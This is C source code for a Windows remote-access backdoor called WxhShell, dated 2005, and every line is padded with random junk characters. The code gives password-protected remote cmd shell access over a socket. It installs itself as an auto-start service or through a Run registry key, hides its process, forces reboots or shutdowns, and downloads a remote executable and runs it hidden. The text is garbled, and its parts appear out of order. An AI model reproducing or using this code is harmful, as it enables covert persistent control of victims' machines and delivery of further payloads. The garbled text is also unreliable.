    if(Boot(SHUTDOWN)) &~ uzu{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N<O^%!buR  
    else { *Q5/d9B8TN  
    closesocket(wsh); l"O=xt`m{  
    ExitThread(0); ~hz]x^:  
    } .}]5y4UQ.  
    break; iv3NmkP1  
    } Qs</.PO  
  // 获取shell opdi5 e)jK  
  case 's': { V"\t  
    CmdShell(wsh); .y[=0K:  
    closesocket(wsh); WM*7p;t@)  
    ExitThread(0); Z\`uI+`  
    break; 6(X(f;MEl  
  } %'@&j2j>  
  // 退出 e|xRK?aVBu  
  case 'x': { r@k&1*&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hb[K.`g  
    CloseIt(wsh); %0=|WnF-  
    break; }0c'hWMZ}  
    } c1!h;(&  
  // 离开 F&I^bkvh  
  case 'q': { # l}Y1^PDd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y+j|T`d  
    closesocket(wsh); QnVYZUgJeV  
    WSACleanup(); q=g;TAXZl  
    exit(1); /R@eOl}D  
    break; &o:wSe  
        } sIg{a( 1/  
  } bi[vs|  
  } JZ80|-c  
*G2p;n=2  
  // 提示信息 &5c)qap;n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zJXU>'obe  
} Tig`4d-%  
  } O,XVA  
^%*%=LJm  
  return; JKXs/r;:  
} ,in`JM<o  
l}K {=%U>7  
// shell模块句柄 'tp+g3V  
int CmdShell(SOCKET sock) s#-`,jqD  
{ 57D /"  
STARTUPINFO si; %A:<rO85o  
ZeroMemory(&si,sizeof(si)); M~p=OM<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +-K-CXt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YG!~v~sV  
PROCESS_INFORMATION ProcessInfo; oTT/;~I  
char cmdline[]="cmd"; S'vrO}yU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ->$Do$  
  return 0; gz Qc  
} 7s1FJm=Y/  
)t&j0`Yq  
// 自身启动模式 op/|&H'  
int StartFromService(void) `epO/Uu\~u  
{ ( *UMpdj  
typedef struct >o%.`)Ar  
{ c$bb0J%  
  DWORD ExitStatus; 45q-x_  
  DWORD PebBaseAddress; fPa FL}&  
  DWORD AffinityMask; Q4}2-}|  
  DWORD BasePriority; D$!(Iae  
  ULONG UniqueProcessId; \:%e 6M  
  ULONG InheritedFromUniqueProcessId; " :@5|4qK  
}   PROCESS_BASIC_INFORMATION; $yLsuqB}  
cZPv6c_w  
PROCNTQSIP NtQueryInformationProcess; DXsp 2  
}e&   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d 0$)Y|d>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GUJx?V/[  
MG<F.u  
  HANDLE             hProcess; /87?U; |V  
  PROCESS_BASIC_INFORMATION pbi; yM=% a3  
,J!G-?:@n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5@F1E8T  
  if(NULL == hInst ) return 0; z~UqA1r  
cxp>4[gH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <`+U B<K  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /*B-y$WQk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3g0[( ;  
[ ;  
  if (!NtQueryInformationProcess) return 0; "+~La{ POc  
DUFfk6#X}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M._9/ *C U  
  if(!hProcess) return 0; )C|[j@MD  
3#!}W#xv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Akb#1Ww4  
#kR8v[Z  
  CloseHandle(hProcess); 8rx?mX,}  
"6[fqW65  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5k)/SAU0  
if(hProcess==NULL) return 0; a;r,*zZ="  
jhr: QS/9  
HMODULE hMod; [D=ba=r0X  
char procName[255]; j(AN] g:  
unsigned long cbNeeded; " ;8H;U`  
]p:s5Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J-P> ~ L"  
%scSp&X  
  CloseHandle(hProcess); :D\M.A  
S|CN)8Jsi  
if(strstr(procName,"services")) return 1; // 以服务启动 fzT|{vG8  
z' z_6]5  
  return 0; // 注册表启动 K -cRNt  
} Y`eUWCD  
(J I4ibP  
// 主模块 2f2Vy:&O_  
int StartWxhshell(LPSTR lpCmdLine) k?zw4S  
{ Oe:+%p  
  SOCKET wsl; 3MPmLV#f  
BOOL val=TRUE; k)U9 %Pr  
  int port=0; V^sZXdDNL  
  struct sockaddr_in door; e`27 ?  
qb'4x){  
  if(wscfg.ws_autoins) Install(); h mC. 5mY  
C2OBgM+  
port=atoi(lpCmdLine); %{?EfULg  
X0wvOs:  
if(port<=0) port=wscfg.ws_port; <$7HX/P  
;~CAHn|Fe  
  WSADATA data; ve|ig]$5g<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `!V=~"ve  
J$Uj@M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l6] :Zcd0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l.[S.@\=.  
  door.sin_family = AF_INET; SM;UNIRVE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wK>a&`<  
  door.sin_port = htons(port); us%dw&   
2l^hnog|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { VJviX[V?4  
closesocket(wsl); F6^Xi"R[  
return 1; _=!R l#  
} ]06orBV  
uJhB>/Og  
  if(listen(wsl,2) == INVALID_SOCKET) { " iAwD8-  
closesocket(wsl); }22h)){n#Y  
return 1; V9  Z  
} 90<z*j$EK  
  Wxhshell(wsl); 2%o@?Rp  
  WSACleanup(); h \dq]yOl  
lrrNyaFn  
return 0; 3msb"|DG  
hq+j8w}<-  
} Esx"nex  
^k{b8-)W<  
// 以NT服务方式启动 >8%<ML  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CCx_|>  
{ ~gZ"8frl  
DWORD   status = 0; K{DsGf ,  
  DWORD   specificError = 0xfffffff; Cb:}AQ=  
2aj9:S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .Y`;{)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R2K{vs  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B'[FnJ8~  
  serviceStatus.dwWin32ExitCode     = 0; 5A Fy6Ab  
  serviceStatus.dwServiceSpecificExitCode = 0; 1j4tR#L  
  serviceStatus.dwCheckPoint       = 0; f0Wbc\L[  
  serviceStatus.dwWaitHint       = 0; SlK 6KnX  
EGJ d:>k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f0!i<9<  
  if (hServiceStatusHandle==0) return; b&]_5 GGc  
r2!\Ts5v  
status = GetLastError(); H 5\k`7R  
  if (status!=NO_ERROR) hJ|zX  
{ gu:8+/W8L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T)N_~f|  
    serviceStatus.dwCheckPoint       = 0; <yNu/B.M  
    serviceStatus.dwWaitHint       = 0; =emcs%  
    serviceStatus.dwWin32ExitCode     = status; ' 5tk0A  
    serviceStatus.dwServiceSpecificExitCode = specificError; q)N]*~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); MuI>ZoNF  
    return; qK=uSL o\+  
  } nev@ykP6  
o,(]w kF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cl,\N\  
  serviceStatus.dwCheckPoint       = 0; +q<G%PwbV  
  serviceStatus.dwWaitHint       = 0; E]@$,)nC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )O}q{4,}  
} $f>h_8cla  
41^=z[k  
// 处理NT服务事件,比如:启动、停止 XWd;-%`<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) STln_'DF'  
{ n VNz5B  
switch(fdwControl) ."X}A t  
{ xOY %14%Y  
case SERVICE_CONTROL_STOP: d1]1bN4`"0  
  serviceStatus.dwWin32ExitCode = 0; )/87<Y;o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; SLsw '<  
  serviceStatus.dwCheckPoint   = 0; 9I1D'7wI^^  
  serviceStatus.dwWaitHint     = 0;  Q{K '#  
  { O %m\ Q1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "39\@Ow  
  } AT{rg/oSf  
  return; >v?&&FhHK<  
case SERVICE_CONTROL_PAUSE: "O (N=|b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; sd m4zV]&  
  break; !vfbgK  
case SERVICE_CONTROL_CONTINUE: H\vd0DD;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [uLwr$N<%L  
  break; Acix`-<  
case SERVICE_CONTROL_INTERROGATE: C srxi'Pe  
  break; NpPuh9e{  
}; j-$F@p_2F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `>1XL2  
} \img   
'r 0kX||  
// 标准应用程序主函数 @'AjEl:&-_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _-+xzdGvX  
{ j:>_1P/  
9'" F7>d  
// 获取操作系统版本 K`vc&uf  
OsIsNt=GetOsVer(); d94 Le/E  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  B=d :r  
'X%5i2  
  // 从命令行安装 .Ld{QPa  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9\ulS2d  
Q\moR^>  
  // 下载执行文件 ATG;*nIP  
if(wscfg.ws_downexe) { zBjtPtiiI8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =:"wU  
  WinExec(wscfg.ws_filenam,SW_HIDE); Vu= e|A#  
} `m")v0n3  
!E@4^A80\W  
if(!OsIsNt) { UURYK~$K:  
// 如果时win9x,隐藏进程并且设置为注册表启动 `qs[a}%'>"  
HideProc(); oE.59dx  
StartWxhshell(lpCmdLine); ,'Sj:l  
} '_~qAx@F#c  
else "h`oT4j5q  
  if(StartFromService()) }N0$DqP  
  // 以服务方式启动 xQ0.2[*5  
  StartServiceCtrlDispatcher(DispatchTable); B?gFFU61  
else @,^c?v  
  // 普通方式启动 EGMIw?%Y`-  
  StartWxhshell(lpCmdLine); jY1^I26E  
uB1>.Pvxb  
return 0; k[Ue}L|  
} |L<p90  
Da3Z>/S  
tv 7"4$T  
h1 npaD!  
=========================================== nRHxbE}::  
VV+gPC  
;@<Rh^g]  
rNN ,!  
3YO %$  
J\l'nqS"  
" [k<.BCE  
P _x(`H  
#include <stdio.h> 2 r';)8:  
#include <string.h> =n ff;Xu  
#include <windows.h> ss0`9:z  
#include <winsock2.h> X#Sgf|$  
#include <winsvc.h> 0&$,?CL?  
#include <urlmon.h>  MU>6s`6O  
E=# O|[=  
#pragma comment (lib, "Ws2_32.lib") kxH` c  
#pragma comment (lib, "urlmon.lib") Y/<`C  
+4g H=6  
#define MAX_USER   100 // 最大客户端连接数  NIh?2w"\  
#define BUF_SOCK   200 // sock buffer S Rb-eDk'  
#define KEY_BUFF   255 // 输入 buffer ,^1B"#0{C<  
PJF1+I.%c#  
#define REBOOT     0   // 重启 "&%Lhyt  
#define SHUTDOWN   1   // 关机 7U1^=Y@t}  
H8!)zZ  
#define DEF_PORT   5000 // 监听端口 5"9 '=LV~  
z]/!4+  
#define REG_LEN     16   // 注册表键长度 .LI(2lP  
#define SVC_LEN     80   // NT服务名长度  7CwQmVe+  
-{z<+(K!$  
// 从dll定义API 92(P~Sdv  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n@$("p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6PyW(i(bs  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `lcQ Yd<,4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,(3oAj\  
N`J]k B7  
// wxhshell配置信息 gp<XTLJ@>  
struct WSCFG { p#0L@!,  
  int ws_port;         // 监听端口 ('z:XW96  
  char ws_passstr[REG_LEN]; // 口令 `$t|O&z  
  int ws_autoins;       // 安装标记, 1=yes 0=no po@Agyg5  
  char ws_regname[REG_LEN]; // 注册表键名 AL{iQxQ6  
  char ws_svcname[REG_LEN]; // 服务名 0dW*].Gi:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -, uT8'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1c|{<dFm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hS'!JAM>Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no pEp$J;   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0.kC|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *X /i<  
G{74o8  
}; . e_VPKF|  
|,Kk#`lW<f  
// default Wxhshell configuration :MihVLF  
struct WSCFG wscfg={DEF_PORT, ~%L=<TBAc  
    "xuhuanlingzhe", ?mHu eX  
    1, 7g>|e  
    "Wxhshell", %n^ugm0B  
    "Wxhshell", *. 1S  
            "WxhShell Service", xzXNcQ  
    "Wrsky Windows CmdShell Service", zJ30ZY:  
    "Please Input Your Password: ", 4MrUo9L$s  
  1, 8?N![D\@  
  "http://www.wrsky.com/wxhshell.exe", QlMv_|`9  
  "Wxhshell.exe" K=1prv2  
    }; WH_ W:  
i ?%_P u  
// 消息定义模块 watTV\b  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Vg~10Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; '{w[).c.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k=4C"   
char *msg_ws_ext="\n\rExit."; l5nm.i<M  
char *msg_ws_end="\n\rQuit."; vA2>&YDFX  
char *msg_ws_boot="\n\rReboot..."; qVW3oj<2  
char *msg_ws_poff="\n\rShutdown..."; WK5B8u*<  
char *msg_ws_down="\n\rSave to "; lhX4 MB"  
>dJ[1s]  
char *msg_ws_err="\n\rErr!"; 1i&|}"  
char *msg_ws_ok="\n\rOK!"; LP'~7FG  
K;ocs?rk/  
char ExeFile[MAX_PATH]; 7J1f$5$m5  
int nUser = 0; c_T+T/O  
HANDLE handles[MAX_USER]; UPy 4ST  
int OsIsNt; K'f^=bc I  
I;9C":'#  
SERVICE_STATUS       serviceStatus; SLz;5%CPV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o@L2c3?c5  
hkOFPt&  
// 函数声明 y@(EGfI  
int Install(void); /r8sL)D+  
int Uninstall(void); ^^g u  
int DownloadFile(char *sURL, SOCKET wsh); "R\D:Olb#  
int Boot(int flag); ,3 [FD9  
void HideProc(void); t?H sfN  
int GetOsVer(void); mNlbiB  
int Wxhshell(SOCKET wsl); TBZhL  
void TalkWithClient(void *cs); @KRia{  
int CmdShell(SOCKET sock); `CRF E5  
int StartFromService(void); 0oe2X1.%  
int StartWxhshell(LPSTR lpCmdLine); j;I( w [@P  
WfHa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n lZJ}xZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P%;lHC #i  
\5-Dp9vG  
// 数据结构和表定义 5me#/NqLHY  
SERVICE_TABLE_ENTRY DispatchTable[] = 'Ck:=V%}g  
{ -jzoGzC3  
{wscfg.ws_svcname, NTServiceMain}, U]W "  
{NULL, NULL} {55f{5y3 c  
}; H<tU[U=G  
"xNP"S  
// 自我安装 i91k0q*di  
int Install(void) TR%8O;  
{ 7m%[$X`  
  char svExeFile[MAX_PATH]; 'nS>'yYH#  
  HKEY key; T 0qM "  
  strcpy(svExeFile,ExeFile); c axOxRo\  
$pIo`F _W  
// 如果是win9x系统,修改注册表设为自启动 +6x}yc:yd  
if(!OsIsNt) { +,Or^p O=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dsOt(yNo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?zf3AZ9  
  RegCloseKey(key); uPC(|U%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }:Y)DH% u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yMD3h$w3a  
  RegCloseKey(key); CM6! 1 7  
  return 0; [{>3"XJ'  
    } FOteN QTj  
  } \t%iUZ$  
} '#>Fe`[  
else { `.Zm}'  
lavy?tFer  
// 如果是NT以上系统,安装为系统服务 $1FnjL5u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BC5R$W. e  
if (schSCManager!=0) q VavP6I  
{ CfVL'  
  SC_HANDLE schService = CreateService &?TXsxf1Zh  
  ( do9~#F  
  schSCManager, "T h;YJu  
  wscfg.ws_svcname, m.<or?l'y>  
  wscfg.ws_svcdisp, j{johV+`8  
  SERVICE_ALL_ACCESS, %<r}V<OeR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <m0=bm{j  
  SERVICE_AUTO_START, E@6gTx*  
  SERVICE_ERROR_NORMAL, 1!yd(p=cL  
  svExeFile, xLms|jS  
  NULL, Xpv<v[a  
  NULL, -zWNQp$  
  NULL, $$SJLV  
  NULL, C$$Zwgy  
  NULL RR|X4h0.  
  ); VrWQ]L  
  if (schService!=0) QpA$='  
  { #R7hk5/8n}  
  CloseServiceHandle(schService); 1Y%lt5,*  
  CloseServiceHandle(schSCManager); -0TI7 @  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); HXX9D&c4R  
  strcat(svExeFile,wscfg.ws_svcname); a^\ F9^j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g}IOHE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zl|+YjR  
  RegCloseKey(key); r;{ggwY&J  
  return 0; $Ld-lQsL  
    } 2 6 >9$S  
  } &gr  T@  
  CloseServiceHandle(schSCManager); p8"C`bCf  
} cm!|A?-<  
} .l|29{J  
stMxlG"d  
return 1; tc{l?7P  
} Ov4=!o=  
@$Yk#N;&(  
// 自我卸载 {NcJL< ;tS  
int Uninstall(void) VbTX;?  
{ |`pBI0Sjo  
  HKEY key; <WnIJum  
#DARZhU)  
if(!OsIsNt) { m%UF{I,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^6Zx-Mf\  
  RegDeleteValue(key,wscfg.ws_regname); wp'[AR}  
  RegCloseKey(key); lHPnAaue@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yE.st9m  
  RegDeleteValue(key,wscfg.ws_regname); nf[KD,f  
  RegCloseKey(key); =T#hd7O`V  
  return 0; K4H27SH  
  } C~?p85  
} (D6ks5Uui  
} 4sX? O4p  
else { -m[ tYp,q  
xA<-'8ST  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kM@e_YtpY  
if (schSCManager!=0) bxO[y<|XL  
{ ^hr # 1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,9"du  
  if (schService!=0) Z15 =vsV  
  { 5q'b M  
  if(DeleteService(schService)!=0) { 0M)\([W9&  
  CloseServiceHandle(schService); +>AVxV=A#  
  CloseServiceHandle(schSCManager); K>5 bb  
  return 0; &x=_n'  
  } #f;6Ia>#  
  CloseServiceHandle(schService); _|4QrZ$n(  
  } .r&CIL >  
  CloseServiceHandle(schSCManager); 9V~hz (^  
} 65VTKlDD  
} OoRg:"9{#  
he@Y1CY  
return 1; !)CY\c4}d>  
} f3^qO9R  
SUIu.4Mz  
// 从指定url下载文件 O_GHvLO=  
int DownloadFile(char *sURL, SOCKET wsh) GT80k]e.  
{ B.smQt  
  HRESULT hr; R4'>5.M  
char seps[]= "/"; k {vd1,HZ  
char *token; 4E}Q<?UYSt  
char *file; s<Nw)Ynw  
char myURL[MAX_PATH]; xls US'Eo  
char myFILE[MAX_PATH]; nr8#;D  
HRQfT>"/  
strcpy(myURL,sURL); V$:%CIn  
  token=strtok(myURL,seps); b|may/xWH  
  while(token!=NULL) ~p:hqi1+<+  
  { /VP #J<6L  
    file=token; XMykUr e|  
  token=strtok(NULL,seps); tUW^dGo.  
  } 6i~<,;Cn  
UUM:*X  
GetCurrentDirectory(MAX_PATH,myFILE); ydRS\l  
strcat(myFILE, "\\"); ! ,{N>{I  
strcat(myFILE, file); &j/,8 Z*  
  send(wsh,myFILE,strlen(myFILE),0); &~x|w6M]J  
send(wsh,"...",3,0); xRO9o3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Snn4RB<(  
  if(hr==S_OK) 7q 5 \]J[  
return 0; ?)-anoFyVW  
else ?' mP`9I  
return 1; W5()A,R  
EP<{3f y  
} ?B)e8i<[f  
)7-mALyW  
// 系统电源模块 QNv5CQ&  
int Boot(int flag) PI9aKNt  
{ wr(*RI"  
  HANDLE hToken; O<mA+yk  
  TOKEN_PRIVILEGES tkp; C OL"/3r  
+z#+}'mT%  
  if(OsIsNt) { *lu*h&Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O*N:.|dUw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1W-kZ(e  
    tkp.PrivilegeCount = 1; Lpnw(r9Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0B2f[A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "4T36b  
if(flag==REBOOT) { s<:) ;-tL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 33a}M;vx  
  return 0; a@9W'/?igk  
} |mdf u=  
else { 0R0_UvsXU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n$h+_xN  
  return 0; \ f VX<L  
} ^JY:$)4["  
  } .b!HEi<F  
  else { `#r/L@QI  
if(flag==REBOOT) { x>Dix1b:.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5p-vSWr !  
  return 0; hYA1N&yz@  
} c=a;<,Rzb  
else { : Q2=t!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) usu{1&g  
  return 0; q[Ey!h)xq  
} zW hzU|=8  
} 6Bd:R}yZP7  
Uxe]T  
return 1; 7|[Dr@.S  
} C\;%IGn  
}N,v&  B  
// win9x进程隐藏模块 C.H(aX)7  
void HideProc(void) *+2BZ ZwT  
{ Z^J)]UL/  
BvHI}=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -- IewW  
  if ( hKernel != NULL ) lQt,(@7]  
  { W>,D$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2$2@?]|?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 31%3&B:Ts  
    FreeLibrary(hKernel); B[f:T%  
  } ?i!d00X  
:; La V  
return; %+#l{\z  
} &sXk!!85:  
y.gNjc  
// 获取操作系统版本 ;7JyL|2  
int GetOsVer(void) _0\wyjjU  
{ #k!;=\FV  
  OSVERSIONINFO winfo; |="Y3}a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3.=o}!  
  GetVersionEx(&winfo); b"w2 2%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B < HD  
  return 1; "CFU$~  
  else b `cH.v  
  return 0; Iu;VFa  
} z~1S/,Ca  
1pN8,[hyR7  
// 客户端句柄模块 |OZ>5  
int Wxhshell(SOCKET wsl) mVK^gJ3  
{ P8ns @VV  
  SOCKET wsh; `V*$pHo  
  struct sockaddr_in client; JiXN"s^mcb  
  DWORD myID; =~dXP  
q^QLNKOH"  
  while(nUser<MAX_USER) (8~Hr?1B  
{ 3#F"UG2,_  
  int nSize=sizeof(client); / =v1.9(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C [8='i26  
  if(wsh==INVALID_SOCKET) return 1; N]|)O]/[  
$UdFm8&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7L]Y.7>  
if(handles[nUser]==0) ^5FwYXAxi  
  closesocket(wsh); wqX!7rD/g)  
else -.Z;n1'^  
  nUser++; =trLL+vGw'  
  } fCv.$5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -9s&OKo`({  
H]M[2C7#N  
  return 0; @ "C P@^  
} _Pl5?5eZj  
M=EV^Tw-=  
// 关闭 socket Ik=bgEF  
void CloseIt(SOCKET wsh) ag!q:6&  
{ rC,ZRFF  
closesocket(wsh); Z[\nyj  
nUser--; ),-MrL8c%  
ExitThread(0); _M- PF$  
} 7|)K!  
C}:_&^DQ  
// 客户端请求句柄 i[vOpg]J  
void TalkWithClient(void *cs) Dd)L~`k{)  
{ NnY+=#j7L  
O tR  
  SOCKET wsh=(SOCKET)cs; T{F 'Y%  
  char pwd[SVC_LEN]; U-q:Y-h  
  char cmd[KEY_BUFF]; 5j5} c`:  
char chr[1]; Y}r UVn  
int i,j; 8J2U UVA`1  
/86PqKU(P  
  while (nUser < MAX_USER) { h]o{> |d9  
^VjF W  
if(wscfg.ws_passstr) { sz4;hSTy  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [>:9 #n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8Tp!b %2.  
  //ZeroMemory(pwd,KEY_BUFF); In#m~nE[M  
      i=0; "Y=4Y;5q  
  while(i<SVC_LEN) { 3rx 8"  
;!H]&2`'(  
  // 设置超时 -&np/tEu&  
  fd_set FdRead; ;7mE%1X  
  struct timeval TimeOut; N6!9QIu~i  
  FD_ZERO(&FdRead); PD:lI]:s  
  FD_SET(wsh,&FdRead); m=^ihQ  
  TimeOut.tv_sec=8; X`k#/~+0  
  TimeOut.tv_usec=0; OkQtM nq  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qu/b:P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8fb<hq<  
a0&R! E;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b5^-q c6X  
  pwd=chr[0]; ;k,#o!>  
  if(chr[0]==0xd || chr[0]==0xa) { cN]g^  
  pwd=0; iE"+-z\U  
  break; )Tf,G[z&ge  
  } 7KV0g1GQ  
  i++; oJ0ZZu?{D  
    } mX@!O[f%9e  
bN>|4hS  
  // 如果是非法用户,关闭 socket hoZM;wC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wf,w%n  
} BPypjS0?8  
a]?o"{{+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $HFimU,V=0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CVGQ<,KVW  
-Dr)+Y  
while(1) { aq.Lnbi/X  
g6;a2  
  ZeroMemory(cmd,KEY_BUFF); 2U'Vq  
E~c>LF_]Q  
      // 自动支持客户端 telnet标准    dm{/  
  j=0; RjGJfN {  
  while(j<KEY_BUFF) { &MP +  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T^ RYN  
  cmd[j]=chr[0]; rL6Y4u0e%  
  if(chr[0]==0xa || chr[0]==0xd) { M tBoX*"  
  cmd[j]=0; RJ$x{$r[  
  break; $Rf)iW;h  
  } B3@\Ua)  
  j++; #Dl=K<I  
    } C+aL8_(R  
Hni?r!8r  
  // 下载文件 _'U(q\ri  
  if(strstr(cmd,"http://")) { s )7sgP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3;wOA4ur  
  if(DownloadFile(cmd,wsh)) bA(-7l?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .2QZe8"  
  else ) t$o0!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _F tI2G9  
  } ]+@I] \S4  
  else { $/$ 5{<  
^<+V[ =X  
    switch(cmd[0]) { UO_tJN#X  
